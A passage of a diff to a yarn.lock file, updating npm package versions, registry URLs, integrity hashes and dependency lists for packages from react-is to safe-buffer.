-  integrity sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==
-  dependencies:
-    pify "^2.3.0"
+react-is@^18.0.0, react-is@^18.3.1:
+  version "18.3.1"
+  resolved "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz"
+  integrity sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==
+
+react@0.0.0-experimental-4beb1fd8-20241118:
+  version "0.0.0-experimental-4beb1fd8-20241118"
+  resolved "https://registry.npmjs.org/react/-/react-0.0.0-experimental-4beb1fd8-20241118.tgz"
+  integrity sha512-SojDx9IQZXRbze+BNoLRiBDblVTMRebpOZyU2QyRk4ptJob78QiROi58uuE7yxrFMDQN4kBl6tqYkSwQaIM2nQ==
 
-readable-stream@^3.4.0:
+readable-stream@^3.4.0, readable-stream@^3.6.2:
   version "3.6.2"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.2.tgz#56a9b36ea965c00c5a93ef31eb111a0f11056967"
+  resolved "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz"
   integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==
   dependencies:
     inherits "^2.0.3"
     string_decoder "^1.1.1"
     util-deprecate "^1.0.1"
 
+readable-stream@~2.3.6:
+  version "2.3.8"
+  resolved "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz"
+  integrity sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==
+  dependencies:
+    core-util-is "~1.0.0"
+    inherits "~2.0.3"
+    isarray "~1.0.0"
+    process-nextick-args "~2.0.0"
+    safe-buffer "~5.1.1"
+    string_decoder "~1.1.1"
+    util-deprecate "~1.0.1"
+
+readdirp@^4.0.1:
+  version "4.1.2"
+  resolved "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz"
+  integrity sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==
+
 readdirp@~3.6.0:
   version "3.6.0"
-  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7"
+  resolved "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz"
   integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==
   dependencies:
     picomatch "^2.2.1"
 
 readline@^1.3.0:
   version "1.3.0"
-  resolved "https://registry.yarnpkg.com/readline/-/readline-1.3.0.tgz#c580d77ef2cfc8752b132498060dc9793a7ac01c"
+  resolved "https://registry.npmjs.org/readline/-/readline-1.3.0.tgz"
   integrity sha512-k2d6ACCkiNYz222Fs/iNze30rRJ1iIicW7JuX/7/cozvih6YCkFZH+J6mAFDVgv0dRBaAyr4jDqC95R2y4IADg==
 
-reflect.getprototypeof@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.4.tgz#aaccbf41aca3821b87bb71d9dcbc7ad0ba50a3f3"
-  integrity sha512-ECkTw8TmJwW60lOTR+ZkODISW6RQ8+2CL3COqtiJKLd6MmB45hN51HprHFziKLGkAuTGQhBb91V8cy+KHlaCjw==
+reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz#c629219e78a3316d8b604c765ef68996964e7bf9"
+  integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-    get-intrinsic "^1.2.1"
-    globalthis "^1.0.3"
-    which-builtin-type "^1.1.3"
-
-regenerate-unicode-properties@^10.1.0:
-  version "10.1.0"
-  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz#7c3192cab6dd24e21cb4461e5ddd7dd24fa8374c"
-  integrity sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.1"
+    which-builtin-type "^1.2.1"
+
+regenerate-unicode-properties@^10.2.0:
+  version "10.2.0"
+  resolved "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz"
+  integrity sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==
   dependencies:
     regenerate "^1.4.2"
 
 regenerate@^1.4.2:
   version "1.4.2"
-  resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
+  resolved "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz"
   integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==
 
 regenerator-runtime@^0.13.11:
   version "0.13.11"
-  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz#f6dca3e7ceec20590d07ada785636a90cdca17f9"
+  resolved "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz"
   integrity sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==
 
 regenerator-runtime@^0.13.4:
   version "0.13.9"
-  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz#8925742a98ffd90814988d7566ad30ca3b263b52"
+  resolved "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz"
   integrity sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==
 
-regenerator-transform@^0.15.1:
-  version "0.15.1"
-  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.15.1.tgz#f6c4e99fc1b4591f780db2586328e4d9a9d8dc56"
-  integrity sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==
+regenerator-transform@^0.15.2:
+  version "0.15.2"
+  resolved "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.2.tgz"
+  integrity sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==
   dependencies:
     "@babel/runtime" "^7.8.4"
 
-regexp.prototype.flags@^1.4.3, regexp.prototype.flags@^1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.0.tgz#fe7ce25e7e4cca8db37b6634c8a2c7009199b9cb"
-  integrity sha512-0SutC3pNudRKgquxGoRGIz946MZVHqbNfPjBdxeOhBrdgDKlRoXmYLQN9xRbrR09ZXWeGAdPuif7egofn6v5LA==
+regexp.escape@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/regexp.escape/-/regexp.escape-2.0.1.tgz#09e4beef9d202dbd739868f3818223f977cf91da"
+  integrity sha512-JItRb4rmyTzmERBkAf6J87LjDPy/RscIwmaJQ3gsFlAzrmZbZU8LwBw5IydFZXW9hqpgbPlGbMhtpqtuAhMgtg==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    functions-have-names "^1.2.3"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.3"
+    es-errors "^1.3.0"
+    for-each "^0.3.3"
+    safe-regex-test "^1.0.3"
 
-regexp.prototype.flags@^1.5.1:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.1.tgz#90ce989138db209f81492edd734183ce99f9677e"
-  integrity sha512-sy6TXMN+hnP/wMy+ISxg3krXx7BAtWVO4UouuCN/ziM9UEne0euamVNafDfvC83bRNr95y0V5iijeDQFUNpvrg==
+regexp.prototype.flags@^1.5.4:
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19"
+  integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    set-function-name "^2.0.0"
-
-regexpp@^3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/regexpp/-/regexpp-3.2.0.tgz#0425a2768d8f23bad70ca4b90461fa2f1213e1b2"
-  integrity sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    set-function-name "^2.0.2"
 
-regexpu-core@^5.3.1:
-  version "5.3.2"
-  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-5.3.2.tgz#11a2b06884f3527aec3e93dbbf4a3b958a95546b"
-  integrity sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==
+regexpu-core@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.npmjs.org/regexpu-core/-/regexpu-core-6.2.0.tgz"
+  integrity sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==
   dependencies:
-    "@babel/regjsgen" "^0.8.0"
     regenerate "^1.4.2"
-    regenerate-unicode-properties "^10.1.0"
-    regjsparser "^0.9.1"
+    regenerate-unicode-properties "^10.2.0"
+    regjsgen "^0.8.0"
+    regjsparser "^0.12.0"
     unicode-match-property-ecmascript "^2.0.0"
     unicode-match-property-value-ecmascript "^2.1.0"
 
-regjsparser@^0.9.1:
-  version "0.9.1"
-  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.9.1.tgz#272d05aa10c7c1f67095b1ff0addae8442fc5709"
-  integrity sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==
+regjsgen@^0.8.0:
+  version "0.8.0"
+  resolved "https://registry.npmjs.org/regjsgen/-/regjsgen-0.8.0.tgz"
+  integrity sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==
+
+regjsparser@^0.12.0:
+  version "0.12.0"
+  resolved "https://registry.npmjs.org/regjsparser/-/regjsparser-0.12.0.tgz"
+  integrity sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==
   dependencies:
-    jsesc "~0.5.0"
+    jsesc "~3.0.2"
 
 require-directory@^2.1.1:
   version "2.1.1"
-  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
+  resolved "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz"
   integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
 
 require-main-filename@^2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-2.0.0.tgz#d0b329ecc7cc0f61649f62215be69af54aa8989b"
+  resolved "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz"
   integrity sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==
 
 requires-port@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
+  resolved "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz"
   integrity sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==
 
 resolve-cwd@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d"
+  resolved "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz"
   integrity sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==
   dependencies:
     resolve-from "^5.0.0"
 
+resolve-dir@^1.0.0, resolve-dir@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz"
+  integrity sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==
+  dependencies:
+    expand-tilde "^2.0.0"
+    global-modules "^1.0.0"
+
 resolve-from@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  resolved "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz"
   integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
 
 resolve-from@^5.0.0:
   version "5.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
+  resolved "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz"
   integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
 
-resolve-pkg-maps@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz#616b3dc2c57056b5588c31cdf4b3d64db133720f"
-  integrity sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==
-
 resolve.exports@^1.1.0:
   version "1.1.0"
-  resolved "https://registry.yarnpkg.com/resolve.exports/-/resolve.exports-1.1.0.tgz#5ce842b94b05146c0e03076985d1d0e7e48c90c9"
+  resolved "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.0.tgz"
   integrity sha512-J1l+Zxxp4XK3LUDZ9m60LRJF/mAe4z6a4xyabPHk7pvK5t35dACV32iIjJDFeWZFfZlO29w6SZ67knR0tHzJtQ==
 
 resolve.exports@^2.0.0:
   version "2.0.2"
-  resolved "https://registry.yarnpkg.com/resolve.exports/-/resolve.exports-2.0.2.tgz#f8c934b8e6a13f539e38b7098e2e36134f01e800"
+  resolved "https://registry.npmjs.org/resolve.exports/-/resolve.exports-2.0.2.tgz"
   integrity sha512-X2UW6Nw3n/aMgDVy+0rSqgHlv39WZAlZrXCdnbyEiKm17DSqHX4MmQMaST3FbeWR5FTuRcUwYAziZajji0Y7mg==
 
-resolve@^1.1.7, resolve@^1.14.2, resolve@^1.22.1, resolve@^1.22.2:
-  version "1.22.2"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.2.tgz#0ed0943d4e301867955766c9f3e1ae6d01c6845f"
-  integrity sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==
-  dependencies:
-    is-core-module "^2.11.0"
-    path-parse "^1.0.7"
-    supports-preserve-symlinks-flag "^1.0.0"
-
-resolve@^1.20.0, resolve@^1.3.2:
+resolve@^1.14.2, resolve@^1.20.0, resolve@^1.3.2:
   version "1.22.1"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.1.tgz#27cb2ebb53f91abb49470a928bba7558066ac177"
+  resolved "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz"
   integrity sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==
   dependencies:
     is-core-module "^2.9.0"
     path-parse "^1.0.7"
     supports-preserve-symlinks-flag "^1.0.0"
 
-resolve@^1.22.4:
-  version "1.22.8"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.8.tgz#b6c87a9f2aa06dfab52e3d70ac8cde321fa5a48d"
-  integrity sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==
-  dependencies:
-    is-core-module "^2.13.0"
-    path-parse "^1.0.7"
-    supports-preserve-symlinks-flag "^1.0.0"
-
-resolve@^2.0.0-next.4:
-  version "2.0.0-next.4"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-2.0.0-next.4.tgz#3d37a113d6429f496ec4752d2a2e58efb1fd4660"
-  integrity sha512-iMDbmAWtfU+MHpxt/I5iWI7cY6YVEZUQ3MBgPQ++XD1PELuJHIl82xBmObyP2KyQmkNB2dsqF7seoQQiAn5yDQ==
-  dependencies:
-    is-core-module "^2.9.0"
-    path-parse "^1.0.7"
-    supports-preserve-symlinks-flag "^1.0.0"
-
 restore-cursor@^3.1.0:
   version "3.1.0"
-  resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-3.1.0.tgz#39f67c54b3a7a58cea5236d95cf0034239631f7e"
+  resolved "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz"
   integrity sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==
   dependencies:
     onetime "^5.1.0"
     signal-exit "^3.0.2"
 
+restore-cursor@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/restore-cursor/-/restore-cursor-4.0.0.tgz"
+  integrity sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==
+  dependencies:
+    onetime "^5.1.0"
+    signal-exit "^3.0.2"
+
 reusify@^1.0.4:
   version "1.0.4"
-  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
+  resolved "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz"
   integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
 
+rimraf@6.0.1, rimraf@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.npmjs.org/rimraf/-/rimraf-6.0.1.tgz"
+  integrity sha512-9dkvaxAsk/xNXSJzMgFqqMCuFgt2+KsOFek3TMLfo8NCPfWpBmqwyNn5Y+NX56QUYfCtsyhF3ayiboEoUmJk/A==
+  dependencies:
+    glob "^11.0.0"
+    package-json-from-dist "^1.0.0"
+
 rimraf@^3.0.0, rimraf@^3.0.2:
   version "3.0.2"
-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+  resolved "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz"
   integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
   dependencies:
     glob "^7.1.3"
 
-rollup-plugin-banner2@^1.2.3:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/rollup-plugin-banner2/-/rollup-plugin-banner2-1.2.3.tgz#4aa454e41a80623180164625368ec0321641a0ef"
-  integrity sha512-lhpPoDTRZMIvSK1AppGNDIZ4fnQuW4WuENuswSUzvXhTR596zWNOmCaCYoqD15QixnjnG+wT+jauLEK5qGRPZg==
+rollup@^4.34.8:
+  version "4.34.9"
+  resolved "https://registry.npmjs.org/rollup/-/rollup-4.34.9.tgz"
+  integrity sha512-nF5XYqWWp9hx/LrpC8sZvvvmq0TeTjQgaZHYmAgwysT9nh8sWnZhBnM8ZyVbbJFIQBLwHDNoMqsBZBbUo4U8sQ==
   dependencies:
-    magic-string "^0.25.7"
-
-rollup-plugin-prettier@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/rollup-plugin-prettier/-/rollup-plugin-prettier-4.1.1.tgz#eb74bd47c3cc3ba68bdf34b5323d0d7a47be8cec"
-  integrity sha512-ugpi/EqW12yJa4NO3o4f/wt/YHwiQovVGC2jxZgxuKO9osjt4lVxVA427+itl87XmQc6089ZkpDc6OpaOZKWgQ==
-  dependencies:
-    "@types/prettier" "^1.0.0 || ^2.0.0 || ^3.0.0"
-    diff "5.1.0"
-    lodash.hasin "4.5.2"
-    lodash.isempty "4.4.0"
-    lodash.isnil "4.0.0"
-    lodash.omitby "4.6.0"
-    magic-string "0.30.5"
-
-rollup@^4.13.2:
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/rollup/-/rollup-4.13.2.tgz#ac57d2dc48e8f5562f5a6daadb9caee590069262"
-  integrity sha512-MIlLgsdMprDBXC+4hsPgzWUasLO9CE4zOkj/u6j+Z6j5A4zRY+CtiXAdJyPtgCsc42g658Aeh1DlrdVEJhsL2g==
-  dependencies:
-    "@types/estree" "1.0.5"
+    "@types/estree" "1.0.6"
   optionalDependencies:
-    "@rollup/rollup-android-arm-eabi" "4.13.2"
-    "@rollup/rollup-android-arm64" "4.13.2"
-    "@rollup/rollup-darwin-arm64" "4.13.2"
-    "@rollup/rollup-darwin-x64" "4.13.2"
-    "@rollup/rollup-linux-arm-gnueabihf" "4.13.2"
-    "@rollup/rollup-linux-arm64-gnu" "4.13.2"
-    "@rollup/rollup-linux-arm64-musl" "4.13.2"
-    "@rollup/rollup-linux-powerpc64le-gnu" "4.13.2"
-    "@rollup/rollup-linux-riscv64-gnu" "4.13.2"
-    "@rollup/rollup-linux-s390x-gnu" "4.13.2"
-    "@rollup/rollup-linux-x64-gnu" "4.13.2"
-    "@rollup/rollup-linux-x64-musl" "4.13.2"
-    "@rollup/rollup-win32-arm64-msvc" "4.13.2"
-    "@rollup/rollup-win32-ia32-msvc" "4.13.2"
-    "@rollup/rollup-win32-x64-msvc" "4.13.2"
+    "@rollup/rollup-android-arm-eabi" "4.34.9"
+    "@rollup/rollup-android-arm64" "4.34.9"
+    "@rollup/rollup-darwin-arm64" "4.34.9"
+    "@rollup/rollup-darwin-x64" "4.34.9"
+    "@rollup/rollup-freebsd-arm64" "4.34.9"
+    "@rollup/rollup-freebsd-x64" "4.34.9"
+    "@rollup/rollup-linux-arm-gnueabihf" "4.34.9"
+    "@rollup/rollup-linux-arm-musleabihf" "4.34.9"
+    "@rollup/rollup-linux-arm64-gnu" "4.34.9"
+    "@rollup/rollup-linux-arm64-musl" "4.34.9"
+    "@rollup/rollup-linux-loongarch64-gnu" "4.34.9"
+    "@rollup/rollup-linux-powerpc64le-gnu" "4.34.9"
+    "@rollup/rollup-linux-riscv64-gnu" "4.34.9"
+    "@rollup/rollup-linux-s390x-gnu" "4.34.9"
+    "@rollup/rollup-linux-x64-gnu" "4.34.9"
+    "@rollup/rollup-linux-x64-musl" "4.34.9"
+    "@rollup/rollup-win32-arm64-msvc" "4.34.9"
+    "@rollup/rollup-win32-ia32-msvc" "4.34.9"
+    "@rollup/rollup-win32-x64-msvc" "4.34.9"
     fsevents "~2.3.2"
 
+router@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.npmjs.org/router/-/router-2.2.0.tgz"
+  integrity sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==
+  dependencies:
+    debug "^4.4.0"
+    depd "^2.0.0"
+    is-promise "^4.0.0"
+    parseurl "^1.3.3"
+    path-to-regexp "^8.0.0"
+
 rrweb-cssom@^0.6.0:
   version "0.6.0"
-  resolved "https://registry.yarnpkg.com/rrweb-cssom/-/rrweb-cssom-0.6.0.tgz#ed298055b97cbddcdeb278f904857629dec5e0e1"
+  resolved "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.6.0.tgz"
   integrity sha512-APM0Gt1KoXBz0iIkkdB/kfvGOwC4UuJFeG/c+yV7wSc7q96cG/kJ0HiYCnzivD9SB53cLV1MlHFNfOuPaadYSw==
 
-run-applescript@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/run-applescript/-/run-applescript-5.0.0.tgz#e11e1c932e055d5c6b40d98374e0268d9b11899c"
-  integrity sha512-XcT5rBksx1QdIhlFOCtgZkB99ZEouFZ1E2Kc2LHqNW13U3/74YGdkQRmThTwxy4QIyookibDKYZOPqX//6BlAg==
-  dependencies:
-    execa "^5.0.0"
-
 run-parallel@^1.1.9:
   version "1.2.0"
-  resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
+  resolved "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz"
   integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
   dependencies:
     queue-microtask "^1.2.2"
 
 rxjs@^7.0.0, rxjs@^7.8.1:
   version "7.8.1"
-  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-7.8.1.tgz#6f6f3d99ea8044291efd92e7c7fcf562c4057543"
+  resolved "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz"
   integrity sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==
   dependencies:
     tslib "^2.1.0"
 
-safe-array-concat@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.0.1.tgz#91686a63ce3adbea14d61b14c99572a8ff84754c"
-  integrity sha512-6XbUAseYE2KtOuGueyeobCySj9L4+66Tn6KQMOPQJrAJEowYKW/YR/MGJZl7FdydUdaFu4LYyDZjxf4/Nmo23Q==
+safe-array-concat@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz#c9e54ec4f603b0bbb8e7e5007a5ee7aecd1538c3"
+  integrity sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==
   dependencies:
-    call-bind "^1.0.2"
-    get-intrinsic "^1.2.1"
-    has-symbols "^1.0.3"
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    has-symbols "^1.1.0"
     isarray "^2.0.5"
 
-safe-buffer@^5.1.0, safe-buffer@~5.2.0:
+safe-buffer@5.2.1, safe-buffer@^5.1.0, safe-buffer@~5.2.0:
   version "5.2.1"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
+  resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz"
